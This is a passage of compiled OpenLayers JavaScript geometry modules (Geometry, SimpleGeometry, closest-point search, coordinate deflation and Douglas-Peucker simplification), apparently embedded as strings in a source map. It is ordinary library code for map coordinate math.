{import(\"../coordinate.js\").Coordinate} [opt_closestPoint] Closest point.\n * @return {import(\"../coordinate.js\").Coordinate} Closest point.\n * @api\n */\n Geometry.prototype.getClosestPoint = function (point, opt_closestPoint) {\n var closestPoint = opt_closestPoint ? opt_closestPoint : [NaN, NaN];\n this.closestPointXY(point[0], point[1], closestPoint, Infinity);\n return closestPoint;\n };\n /**\n * Returns true if this geometry includes the specified coordinate. If the\n * coordinate is on the boundary of the geometry, returns false.\n * @param {import(\"../coordinate.js\").Coordinate} coordinate Coordinate.\n * @return {boolean} Contains coordinate.\n * @api\n */\n Geometry.prototype.intersectsCoordinate = function (coordinate) {\n return this.containsXY(coordinate[0], coordinate[1]);\n };\n /**\n * @abstract\n * @param {import(\"../extent.js\").Extent} extent Extent.\n * @protected\n * @return {import(\"../extent.js\").Extent} extent Extent.\n */\n Geometry.prototype.computeExtent = function (extent) {\n return abstract();\n };\n /**\n * Get the extent of the geometry.\n * @param {import(\"../extent.js\").Extent} [opt_extent] Extent.\n * @return {import(\"../extent.js\").Extent} extent Extent.\n * @api\n */\n Geometry.prototype.getExtent = function (opt_extent) {\n if (this.extentRevision_ != this.getRevision()) {\n var extent = this.computeExtent(this.extent_);\n if (isNaN(extent[0]) || isNaN(extent[1])) {\n createOrUpdateEmpty(extent);\n }\n this.extentRevision_ = this.getRevision();\n }\n return returnOrUpdate(this.extent_, opt_extent);\n };\n /**\n * Rotate the geometry around a given coordinate. This modifies the geometry\n * coordinates in place.\n * @abstract\n * @param {number} angle Rotation angle in radians.\n * @param {import(\"../coordinate.js\").Coordinate} anchor The rotation center.\n * @api\n */\n Geometry.prototype.rotate = function (angle, anchor) {\n abstract();\n };\n /**\n * Scale the geometry (with an optional origin). This modifies the geometry\n * coordinates in place.\n * @abstract\n * @param {number} sx The scaling factor in the x-direction.\n * @param {number} [opt_sy] The scaling factor in the y-direction (defaults to sx).\n * @param {import(\"../coordinate.js\").Coordinate} [opt_anchor] The scale origin (defaults to the center\n * of the geometry extent).\n * @api\n */\n Geometry.prototype.scale = function (sx, opt_sy, opt_anchor) {\n abstract();\n };\n /**\n * Create a simplified version of this geometry. For linestrings, this uses\n * the [Douglas Peucker](https://en.wikipedia.org/wiki/Ramer-Douglas-Peucker_algorithm)\n * algorithm. For polygons, a quantization-based\n * simplification is used to preserve topology.\n * @param {number} tolerance The tolerance distance for simplification.\n * @return {Geometry} A new, simplified version of the original geometry.\n * @api\n */\n Geometry.prototype.simplify = function (tolerance) {\n return this.getSimplifiedGeometry(tolerance * tolerance);\n };\n /**\n * Create a simplified version of this geometry using the Douglas Peucker\n * algorithm.\n * See https://en.wikipedia.org/wiki/Ramer-Douglas-Peucker_algorithm.\n * @abstract\n * @param {number} squaredTolerance Squared tolerance.\n * @return {Geometry} Simplified geometry.\n */\n Geometry.prototype.getSimplifiedGeometry = function (squaredTolerance) {\n return abstract();\n };\n /**\n * Get the type of this geometry.\n * @abstract\n * @return {Type} Geometry type.\n */\n Geometry.prototype.getType = function () {\n return abstract();\n };\n /**\n * Apply a transform function to the coordinates of the geometry.\n * The geometry is modified in place.\n * If you do not want the geometry modified in place, first `clone()` it and\n * then use this function on the clone.\n * @abstract\n * @param {import(\"../proj.js\").TransformFunction} transformFn Transform function.\n * Called with a flat array of geometry coordinates.\n */\n Geometry.prototype.applyTransform = function (transformFn) {\n abstract();\n };\n /**\n * Test if the geometry and the passed extent intersect.\n * @abstract\n * @param {import(\"../extent.js\").Extent} extent Extent.\n * @return {boolean} `true` if the geometry and the extent intersect.\n */\n Geometry.prototype.intersectsExtent = function (extent) {\n return abstract();\n };\n /**\n * Translate the geometry. This modifies the geometry coordinates in place. If\n * instead you want a new geometry, first `clone()` this geometry.\n * @abstract\n * @param {number} deltaX Delta X.\n * @param {number} deltaY Delta Y.\n * @api\n */\n Geometry.prototype.translate = function (deltaX, deltaY) {\n abstract();\n };\n /**\n * Transform each coordinate of the geometry from one coordinate reference\n * system to another. The geometry is modified in place.\n * For example, a line will be transformed to a line and a circle to a circle.\n * If you do not want the geometry modified in place, first `clone()` it and\n * then use this function on the clone.\n *\n * @param {import(\"../proj.js\").ProjectionLike} source The current projection. Can be a\n * string identifier or a {@link module:ol/proj/Projection~Projection} object.\n * @param {import(\"../proj.js\").ProjectionLike} destination The desired projection. Can be a\n * string identifier or a {@link module:ol/proj/Projection~Projection} object.\n * @return {Geometry} This geometry. Note that original geometry is\n * modified in place.\n * @api\n */\n Geometry.prototype.transform = function (source, destination) {\n /** @type {import(\"../proj/Projection.js\").default} */\n var sourceProj = getProjection(source);\n var transformFn = sourceProj.getUnits() == Units.TILE_PIXELS\n ? function (inCoordinates, outCoordinates, stride) {\n var pixelExtent = sourceProj.getExtent();\n var projectedExtent = sourceProj.getWorldExtent();\n var scale = getHeight(projectedExtent) / getHeight(pixelExtent);\n composeTransform(tmpTransform, projectedExtent[0], projectedExtent[3], scale, -scale, 0, 0, 0);\n transform2D(inCoordinates, 0, inCoordinates.length, stride, tmpTransform, outCoordinates);\n return getTransform(sourceProj, destination)(inCoordinates, outCoordinates, stride);\n }\n : getTransform(sourceProj, destination);\n this.applyTransform(transformFn);\n return this;\n };\n return Geometry;\n}(BaseObject));\nexport default Geometry;\n//# sourceMappingURL=Geometry.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/geom/SimpleGeometry\n */\nimport Geometry from './Geometry.js';\nimport GeometryLayout from './GeometryLayout.js';\nimport { abstract } from '../util.js';\nimport { createOrUpdateFromFlatCoordinates, getCenter } from '../extent.js';\nimport { rotate, scale, transform2D, translate } from './flat/transform.js';\n/**\n * @classdesc\n * Abstract base class; only used for creating subclasses; do not instantiate\n * in apps, as cannot be rendered.\n *\n * @abstract\n * @api\n */\nvar SimpleGeometry = /** @class */ (function (_super) {\n __extends(SimpleGeometry, _super);\n function SimpleGeometry() {\n var _this = _super.call(this) || this;\n /**\n * @protected\n * @type {import(\"./GeometryLayout.js\").default}\n */\n _this.layout = GeometryLayout.XY;\n /**\n * @protected\n * @type {number}\n */\n _this.stride = 2;\n /**\n * @protected\n * @type {Array<number>}\n */\n _this.flatCoordinates = null;\n return _this;\n }\n /**\n * @param {import(\"../extent.js\").Extent} extent Extent.\n * @protected\n * @return {import(\"../extent.js\").Extent} extent Extent.\n */\n SimpleGeometry.prototype.computeExtent = function (extent) {\n return createOrUpdateFromFlatCoordinates(this.flatCoordinates, 0, this.flatCoordinates.length, this.stride, extent);\n };\n /**\n * @abstract\n * @return {Array<*> | null} Coordinates.\n */\n SimpleGeometry.prototype.getCoordinates = function () {\n return abstract();\n };\n /**\n * Return the first coordinate of the geometry.\n * @return {import(\"../coordinate.js\").Coordinate} First coordinate.\n * @api\n */\n SimpleGeometry.prototype.getFirstCoordinate = function () {\n return this.flatCoordinates.slice(0, this.stride);\n };\n /**\n * @return {Array<number>} Flat coordinates.\n */\n SimpleGeometry.prototype.getFlatCoordinates = function () {\n return this.flatCoordinates;\n };\n /**\n * Return the last coordinate of the geometry.\n * @return {import(\"../coordinate.js\").Coordinate} Last point.\n * @api\n */\n SimpleGeometry.prototype.getLastCoordinate = function () {\n return this.flatCoordinates.slice(this.flatCoordinates.length - this.stride);\n };\n /**\n * Return the {@link module:ol/geom/GeometryLayout layout} of the geometry.\n * @return {import(\"./GeometryLayout.js\").default} Layout.\n * @api\n */\n SimpleGeometry.prototype.getLayout = function () {\n return this.layout;\n };\n /**\n * Create a simplified version of this geometry using the Douglas Peucker algorithm.\n * @param {number} squaredTolerance Squared tolerance.\n * @return {SimpleGeometry} Simplified geometry.\n */\n SimpleGeometry.prototype.getSimplifiedGeometry = function (squaredTolerance) {\n if (this.simplifiedGeometryRevision !== this.getRevision()) {\n this.simplifiedGeometryMaxMinSquaredTolerance = 0;\n this.simplifiedGeometryRevision = this.getRevision();\n }\n // If squaredTolerance is negative or if we know that simplification will not\n // have any effect then just return this.\n if (squaredTolerance < 0 ||\n (this.simplifiedGeometryMaxMinSquaredTolerance !== 0 &&\n squaredTolerance <= this.simplifiedGeometryMaxMinSquaredTolerance)) {\n return this;\n }\n var simplifiedGeometry = this.getSimplifiedGeometryInternal(squaredTolerance);\n var simplifiedFlatCoordinates = simplifiedGeometry.getFlatCoordinates();\n if (simplifiedFlatCoordinates.length < this.flatCoordinates.length) {\n return simplifiedGeometry;\n }\n else {\n // Simplification did not actually remove any coordinates. We now know\n // that any calls to getSimplifiedGeometry with a squaredTolerance less\n // than or equal to the current squaredTolerance will also not have any\n // effect. This allows us to short circuit simplification (saving CPU\n // cycles) and prevents the cache of simplified geometries from filling\n // up with useless identical copies of this geometry (saving memory).\n this.simplifiedGeometryMaxMinSquaredTolerance = squaredTolerance;\n return this;\n }\n };\n /**\n * @param {number} squaredTolerance Squared tolerance.\n * @return {SimpleGeometry} Simplified geometry.\n * @protected\n */\n SimpleGeometry.prototype.getSimplifiedGeometryInternal = function (squaredTolerance) {\n return this;\n };\n /**\n * @return {number} Stride.\n */\n SimpleGeometry.prototype.getStride = function () {\n return this.stride;\n };\n /**\n * @param {import(\"./GeometryLayout.js\").default} layout Layout.\n * @param {Array<number>} flatCoordinates Flat coordinates.\n */\n SimpleGeometry.prototype.setFlatCoordinates = function (layout, flatCoordinates) {\n this.stride = getStrideForLayout(layout);\n this.layout = layout;\n this.flatCoordinates = flatCoordinates;\n };\n /**\n * @abstract\n * @param {!Array<*>} coordinates Coordinates.\n * @param {import(\"./GeometryLayout.js\").default} [opt_layout] Layout.\n */\n SimpleGeometry.prototype.setCoordinates = function (coordinates, opt_layout) {\n abstract();\n };\n /**\n * @param {import(\"./GeometryLayout.js\").default|undefined} layout Layout.\n * @param {Array<*>} coordinates Coordinates.\n * @param {number} nesting Nesting.\n * @protected\n */\n SimpleGeometry.prototype.setLayout = function (layout, coordinates, nesting) {\n /** @type {number} */\n var stride;\n if (layout) {\n stride = getStrideForLayout(layout);\n }\n else {\n for (var i = 0; i < nesting; ++i) {\n if (coordinates.length === 0) {\n this.layout = GeometryLayout.XY;\n this.stride = 2;\n return;\n }\n else {\n coordinates = /** @type {Array} */ (coordinates[0]);\n }\n }\n stride = coordinates.length;\n layout = getLayoutForStride(stride);\n }\n this.layout = layout;\n this.stride = stride;\n };\n /**\n * Apply a transform function to the coordinates of the geometry.\n * The geometry is modified in place.\n * If you do not want the geometry modified in place, first `clone()` it and\n * then use this function on the clone.\n * @param {import(\"../proj.js\").TransformFunction} transformFn Transform function.\n * Called with a flat array of geometry coordinates.\n * @api\n */\n SimpleGeometry.prototype.applyTransform = function (transformFn) {\n if (this.flatCoordinates) {\n transformFn(this.flatCoordinates, this.flatCoordinates, this.stride);\n this.changed();\n }\n };\n /**\n * Rotate the geometry around a given coordinate. This modifies the geometry\n * coordinates in place.\n * @param {number} angle Rotation angle in counter-clockwise radians.\n * @param {import(\"../coordinate.js\").Coordinate} anchor The rotation center.\n * @api\n */\n SimpleGeometry.prototype.rotate = function (angle, anchor) {\n var flatCoordinates = this.getFlatCoordinates();\n if (flatCoordinates) {\n var stride = this.getStride();\n rotate(flatCoordinates, 0, flatCoordinates.length, stride, angle, anchor, flatCoordinates);\n this.changed();\n }\n };\n /**\n * Scale the geometry (with an optional origin). This modifies the geometry\n * coordinates in place.\n * @param {number} sx The scaling factor in the x-direction.\n * @param {number} [opt_sy] The scaling factor in the y-direction (defaults to sx).\n * @param {import(\"../coordinate.js\").Coordinate} [opt_anchor] The scale origin (defaults to the center\n * of the geometry extent).\n * @api\n */\n SimpleGeometry.prototype.scale = function (sx, opt_sy, opt_anchor) {\n var sy = opt_sy;\n if (sy === undefined) {\n sy = sx;\n }\n var anchor = opt_anchor;\n if (!anchor) {\n anchor = getCenter(this.getExtent());\n }\n var flatCoordinates = this.getFlatCoordinates();\n if (flatCoordinates) {\n var stride = this.getStride();\n scale(flatCoordinates, 0, flatCoordinates.length, stride, sx, sy, anchor, flatCoordinates);\n this.changed();\n }\n };\n /**\n * Translate the geometry. This modifies the geometry coordinates in place. If\n * instead you want a new geometry, first `clone()` this geometry.\n * @param {number} deltaX Delta X.\n * @param {number} deltaY Delta Y.\n * @api\n */\n SimpleGeometry.prototype.translate = function (deltaX, deltaY) {\n var flatCoordinates = this.getFlatCoordinates();\n if (flatCoordinates) {\n var stride = this.getStride();\n translate(flatCoordinates, 0, flatCoordinates.length, stride, deltaX, deltaY, flatCoordinates);\n this.changed();\n }\n };\n return SimpleGeometry;\n}(Geometry));\n/**\n * @param {number} stride Stride.\n * @return {import(\"./GeometryLayout.js\").default} layout Layout.\n */\nfunction getLayoutForStride(stride) {\n var layout;\n if (stride == 2) {\n layout = GeometryLayout.XY;\n }\n else if (stride == 3) {\n layout = GeometryLayout.XYZ;\n }\n else if (stride == 4) {\n layout = GeometryLayout.XYZM;\n }\n return /** @type {import(\"./GeometryLayout.js\").default} */ (layout);\n}\n/**\n * @param {import(\"./GeometryLayout.js\").default} layout Layout.\n * @return {number} Stride.\n */\nexport function getStrideForLayout(layout) {\n var stride;\n if (layout == GeometryLayout.XY) {\n stride = 2;\n }\n else if (layout == GeometryLayout.XYZ || layout == GeometryLayout.XYM) {\n stride = 3;\n }\n else if (layout == GeometryLayout.XYZM) {\n stride = 4;\n }\n return /** @type {number} */ (stride);\n}\n/**\n * @param {SimpleGeometry} simpleGeometry Simple geometry.\n * @param {import(\"../transform.js\").Transform} transform Transform.\n * @param {Array<number>} [opt_dest] Destination.\n * @return {Array<number>} Transformed flat coordinates.\n */\nexport function transformGeom2D(simpleGeometry, transform, opt_dest) {\n var flatCoordinates = simpleGeometry.getFlatCoordinates();\n if (!flatCoordinates) {\n return null;\n }\n else {\n var stride = simpleGeometry.getStride();\n return transform2D(flatCoordinates, 0, flatCoordinates.length, stride, transform, opt_dest);\n }\n}\nexport default SimpleGeometry;\n//# sourceMappingURL=SimpleGeometry.js.map","/**\n * @module ol/geom/flat/closest\n */\nimport { lerp, squaredDistance as squaredDx } from '../../math.js';\n/**\n * Returns the point on the 2D line segment flatCoordinates[offset1] to\n * flatCoordinates[offset2] that is closest to the point (x, y). Extra\n * dimensions are linearly interpolated.\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset1 Offset 1.\n * @param {number} offset2 Offset 2.\n * @param {number} stride Stride.\n * @param {number} x X.\n * @param {number} y Y.\n * @param {Array<number>} closestPoint Closest point.\n */\nfunction assignClosest(flatCoordinates, offset1, offset2, stride, x, y, closestPoint) {\n var x1 = flatCoordinates[offset1];\n var y1 = flatCoordinates[offset1 + 1];\n var dx = flatCoordinates[offset2] - x1;\n var dy = flatCoordinates[offset2 + 1] - y1;\n var offset;\n if (dx === 0 && dy === 0) {\n offset = offset1;\n }\n else {\n var t = ((x - x1) * dx + (y - y1) * dy) / (dx * dx + dy * dy);\n if (t > 1) {\n offset = offset2;\n }\n else if (t > 0) {\n for (var i = 0; i < stride; ++i) {\n closestPoint[i] = lerp(flatCoordinates[offset1 + i], flatCoordinates[offset2 + i], t);\n }\n closestPoint.length = stride;\n return;\n }\n else {\n offset = offset1;\n }\n }\n for (var i = 0; i < stride; ++i) {\n closestPoint[i] = flatCoordinates[offset + i];\n }\n closestPoint.length = stride;\n}\n/**\n * Return the squared of the largest distance between any pair of consecutive\n * coordinates.\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @param {number} max Max squared delta.\n * @return {number} Max squared delta.\n */\nexport function maxSquaredDelta(flatCoordinates, offset, end, stride, max) {\n var x1 = flatCoordinates[offset];\n var y1 = flatCoordinates[offset + 1];\n for (offset += stride; offset < end; offset += stride) {\n var x2 = flatCoordinates[offset];\n var y2 = flatCoordinates[offset + 1];\n var squaredDelta = squaredDx(x1, y1, x2, y2);\n if (squaredDelta > max) {\n max = squaredDelta;\n }\n x1 = x2;\n y1 = y2;\n }\n return max;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<number>} ends Ends.\n * @param {number} stride Stride.\n * @param {number} max Max squared delta.\n * @return {number} Max squared delta.\n */\nexport function arrayMaxSquaredDelta(flatCoordinates, offset, ends, stride, max) {\n for (var i = 0, ii = ends.length; i < ii; ++i) {\n var end = ends[i];\n max = maxSquaredDelta(flatCoordinates, offset, end, stride, max);\n offset = end;\n }\n return max;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<Array<number>>} endss Endss.\n * @param {number} stride Stride.\n * @param {number} max Max squared delta.\n * @return {number} Max squared delta.\n */\nexport function multiArrayMaxSquaredDelta(flatCoordinates, offset, endss, stride, max) {\n for (var i = 0, ii = endss.length; i < ii; ++i) {\n var ends = endss[i];\n max = arrayMaxSquaredDelta(flatCoordinates, offset, ends, stride, max);\n offset = ends[ends.length - 1];\n }\n return max;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @param {number} maxDelta Max delta.\n * @param {boolean} isRing Is ring.\n * @param {number} x X.\n * @param {number} y Y.\n * @param {Array<number>} closestPoint Closest point.\n * @param {number} minSquaredDistance Minimum squared distance.\n * @param {Array<number>} [opt_tmpPoint] Temporary point object.\n * @return {number} Minimum squared distance.\n */\nexport function assignClosestPoint(flatCoordinates, offset, end, stride, maxDelta, isRing, x, y, closestPoint, minSquaredDistance, opt_tmpPoint) {\n if (offset == end) {\n return minSquaredDistance;\n }\n var i, squaredDistance;\n if (maxDelta === 0) {\n // All points are identical, so just test the first point.\n squaredDistance = squaredDx(x, y, flatCoordinates[offset], flatCoordinates[offset + 1]);\n if (squaredDistance < minSquaredDistance) {\n for (i = 0; i < stride; ++i) {\n closestPoint[i] = flatCoordinates[offset + i];\n }\n closestPoint.length = stride;\n return squaredDistance;\n }\n else {\n return minSquaredDistance;\n }\n }\n var tmpPoint = opt_tmpPoint ? opt_tmpPoint : [NaN, NaN];\n var index = offset + stride;\n while (index < end) {\n assignClosest(flatCoordinates, index - stride, index, stride, x, y, tmpPoint);\n squaredDistance = squaredDx(x, y, tmpPoint[0], tmpPoint[1]);\n if (squaredDistance < minSquaredDistance) {\n minSquaredDistance = squaredDistance;\n for (i = 0; i < stride; ++i) {\n closestPoint[i] = tmpPoint[i];\n }\n closestPoint.length = stride;\n index += stride;\n }\n else {\n // Skip ahead multiple points, because we know that all the skipped\n // points cannot be any closer than the closest point we have found so\n // far. We know this because we know how close the current point is, how\n // close the closest point we have found so far is, and the maximum\n // distance between consecutive points. For example, if we're currently\n // at distance 10, the best we've found so far is 3, and that the maximum\n // distance between consecutive points is 2, then we'll need to skip at\n // least (10 - 3) / 2 == 3 (rounded down) points to have any chance of\n // finding a closer point. We use Math.max(..., 1) to ensure that we\n // always advance at least one point, to avoid an infinite loop.\n index +=\n stride *\n Math.max(((Math.sqrt(squaredDistance) - Math.sqrt(minSquaredDistance)) /\n maxDelta) |\n 0, 1);\n }\n }\n if (isRing) {\n // Check the closing segment.\n assignClosest(flatCoordinates, end - stride, offset, stride, x, y, tmpPoint);\n squaredDistance = squaredDx(x, y, tmpPoint[0], tmpPoint[1]);\n if (squaredDistance < minSquaredDistance) {\n minSquaredDistance = squaredDistance;\n for (i = 0; i < stride; ++i) {\n closestPoint[i] = tmpPoint[i];\n }\n closestPoint.length = stride;\n }\n }\n return minSquaredDistance;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<number>} ends Ends.\n * @param {number} stride Stride.\n * @param {number} maxDelta Max delta.\n * @param {boolean} isRing Is ring.\n * @param {number} x X.\n * @param {number} y Y.\n * @param {Array<number>} closestPoint Closest point.\n * @param {number} minSquaredDistance Minimum squared distance.\n * @param {Array<number>} [opt_tmpPoint] Temporary point object.\n * @return {number} Minimum squared distance.\n */\nexport function assignClosestArrayPoint(flatCoordinates, offset, ends, stride, maxDelta, isRing, x, y, closestPoint, minSquaredDistance, opt_tmpPoint) {\n var tmpPoint = opt_tmpPoint ? opt_tmpPoint : [NaN, NaN];\n for (var i = 0, ii = ends.length; i < ii; ++i) {\n var end = ends[i];\n minSquaredDistance = assignClosestPoint(flatCoordinates, offset, end, stride, maxDelta, isRing, x, y, closestPoint, minSquaredDistance, tmpPoint);\n offset = end;\n }\n return minSquaredDistance;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<Array<number>>} endss Endss.\n * @param {number} stride Stride.\n * @param {number} maxDelta Max delta.\n * @param {boolean} isRing Is ring.\n * @param {number} x X.\n * @param {number} y Y.\n * @param {Array<number>} closestPoint Closest point.\n * @param {number} minSquaredDistance Minimum squared distance.\n * @param {Array<number>} [opt_tmpPoint] Temporary point object.\n * @return {number} Minimum squared distance.\n */\nexport function assignClosestMultiArrayPoint(flatCoordinates, offset, endss, stride, maxDelta, isRing, x, y, closestPoint, minSquaredDistance, opt_tmpPoint) {\n var tmpPoint = opt_tmpPoint ? opt_tmpPoint : [NaN, NaN];\n for (var i = 0, ii = endss.length; i < ii; ++i) {\n var ends = endss[i];\n minSquaredDistance = assignClosestArrayPoint(flatCoordinates, offset, ends, stride, maxDelta, isRing, x, y, closestPoint, minSquaredDistance, tmpPoint);\n offset = ends[ends.length - 1];\n }\n return minSquaredDistance;\n}\n//# sourceMappingURL=closest.js.map","/**\n * @module ol/geom/flat/deflate\n */\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {import(\"../../coordinate.js\").Coordinate} coordinate Coordinate.\n * @param {number} stride Stride.\n * @return {number} offset Offset.\n */\nexport function deflateCoordinate(flatCoordinates, offset, coordinate, stride) {\n for (var i = 0, ii = coordinate.length; i < ii; ++i) {\n flatCoordinates[offset++] = coordinate[i];\n }\n return offset;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<import(\"../../coordinate.js\").Coordinate>} coordinates Coordinates.\n * @param {number} stride Stride.\n * @return {number} offset Offset.\n */\nexport function deflateCoordinates(flatCoordinates, offset, coordinates, stride) {\n for (var i = 0, ii = coordinates.length; i < ii; ++i) {\n var coordinate = coordinates[i];\n for (var j = 0; j < stride; ++j) {\n flatCoordinates[offset++] = coordinate[j];\n }\n }\n return offset;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<Array<import(\"../../coordinate.js\").Coordinate>>} coordinatess Coordinatess.\n * @param {number} stride Stride.\n * @param {Array<number>} [opt_ends] Ends.\n * @return {Array<number>} Ends.\n */\nexport function deflateCoordinatesArray(flatCoordinates, offset, coordinatess, stride, opt_ends) {\n var ends = opt_ends ? opt_ends : [];\n var i = 0;\n for (var j = 0, jj = coordinatess.length; j < jj; ++j) {\n var end = deflateCoordinates(flatCoordinates, offset, coordinatess[j], stride);\n ends[i++] = end;\n offset = end;\n }\n ends.length = i;\n return ends;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<Array<Array<import(\"../../coordinate.js\").Coordinate>>>} coordinatesss Coordinatesss.\n * @param {number} stride Stride.\n * @param {Array<Array<number>>} [opt_endss] Endss.\n * @return {Array<Array<number>>} Endss.\n */\nexport function deflateMultiCoordinatesArray(flatCoordinates, offset, coordinatesss, stride, opt_endss) {\n var endss = opt_endss ? opt_endss : [];\n var i = 0;\n for (var j = 0, jj = coordinatesss.length; j < jj; ++j) {\n var ends = deflateCoordinatesArray(flatCoordinates, offset, coordinatesss[j], stride, endss[i]);\n endss[i++] = ends;\n offset = ends[ends.length - 1];\n }\n endss.length = i;\n return endss;\n}\n//# sourceMappingURL=deflate.js.map","/**\n * @module ol/geom/flat/simplify\n */\n// Based on simplify-js https://github.com/mourner/simplify-js\n// Copyright (c) 2012, Vladimir Agafonkin\n// All rights reserved.\n//\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are met:\n//\n// 1. Redistributions of source code must retain the above copyright notice,\n// this list of conditions and the following disclaimer.\n//\n// 2. Redistributions in binary form must reproduce the above copyright\n// notice, this list of conditions and the following disclaimer in the\n// documentation and/or other materials provided with the distribution.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n// POSSIBILITY OF SUCH DAMAGE.\nimport { squaredDistance, squaredSegmentDistance } from '../../math.js';\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @param {number} squaredTolerance Squared tolerance.\n * @param {boolean} highQuality Highest quality.\n * @param {Array<number>} [opt_simplifiedFlatCoordinates] Simplified flat\n * coordinates.\n * @return {Array<number>} Simplified line string.\n */\nexport function simplifyLineString(flatCoordinates, offset, end, stride, squaredTolerance, highQuality, opt_simplifiedFlatCoordinates) {\n var simplifiedFlatCoordinates = opt_simplifiedFlatCoordinates !== undefined\n ? opt_simplifiedFlatCoordinates\n : [];\n if (!highQuality) {\n end = radialDistance(flatCoordinates, offset, end, stride, squaredTolerance, simplifiedFlatCoordinates, 0);\n flatCoordinates = simplifiedFlatCoordinates;\n offset = 0;\n stride = 2;\n }\n simplifiedFlatCoordinates.length = douglasPeucker(flatCoordinates, offset, end, stride, squaredTolerance, simplifiedFlatCoordinates, 0);\n return simplifiedFlatCoordinates;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @param {number} squaredTolerance Squared tolerance.\n * @param {Array<number>} simplifiedFlatCoordinates Simplified flat\n * coordinates.\n * @param {number} simplifiedOffset Simplified offset.\n * @return {number} Simplified offset.\n */\nexport function douglasPeucker(flatCoordinates, offset, end, stride, squaredTolerance, simplifiedFlatCoordinates, simplifiedOffset) {\n var n = (end - offset) / stride;\n if (n < 3) {\n for (; offset < end; offset += stride) {\n simplifiedFlatCoordinates[simplifiedOffset++] = flatCoordinates[offset];\n simplifiedFlatCoordinates[simplifiedOffset++] =\n flatCoordinates[offset + 1];\n }\n return simplifiedOffset;\n }\n /** @type {Array<number>} */\n var markers = new Array(n);\n markers[0] = 1;\n markers[n - 1] = 1;\n /** @type {Array<number>} */\n var stack = [offset, end - stride];\n var index = 0;\n while (stack.length > 0) {\n var last = stack.pop();\n var first = stack.pop();\n var maxSquaredDistance = 0;\n var x1 = flatCoordinates[first];\n var y1 = flatCoordinates[first + 1];\n var x2 = flatCoordinates[last];\n var y2 = flatCoordinates[last + 1];\n for (var i = first + stride; i < last; i += stride) {\n var x = flatCoordinates[i];\n var y = flatCoordinates[i + 1];\n var squaredDistance_1 = squaredSegmentDistance(x, y, x1, y1, x2, y2);\n if (squaredDistance_1 > maxSquaredDistance) {\n index = i;\n maxSquaredDistance = squaredDistance_1;\n }\n }\n if (maxSquaredDistance > squaredTolerance) {\n markers[(index - offset) / stride] = 1;\n if (first + stride < index) {\n stack.push(first, index);\n }\n if (index + stride < last) {\n stack.push(index, last);\n }\n }\n }\n for (var i = 0; i < n; ++i) {\n if (markers[i]) {\n simplifiedFlatCoordinates[simplifiedOffset++] =\n flatCoordinates[offset + i * stride];\n simplifiedFlatCoordinates[simplifiedOffset++] =\n flatCoordinates[offset + i * stride + 1];\n }\n }\n return simplifiedOffset;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<number>} ends Ends.\n * @param {number} stride Stride.\n * @param {number} squaredTolerance Squared tolerance.\n * @param {Array<number>} simplifiedFlatCoordinates Simplified flat\n * coordinates.\n * @param {number} simplifiedOffset Simplified offset.\n * @param {Array<number>} simplifiedEnds Simplified ends.\n * @return {number} Simplified offset.\n */\nexport function douglasPeuckerArray(flatCoordinates, offset, ends, stride, squaredTolerance, simplifiedFlatCoordinates, simplifiedOffset, simplifiedEnds) {\n for (var i = 0, ii = ends.length; i < ii; ++i) {\n var end = ends[i];\n simplifiedOffset = douglasPeucker(flatCoordinates, offset, end, stride, squaredTolerance, simplifiedFlatCoordinates, simplifiedOffset);\n 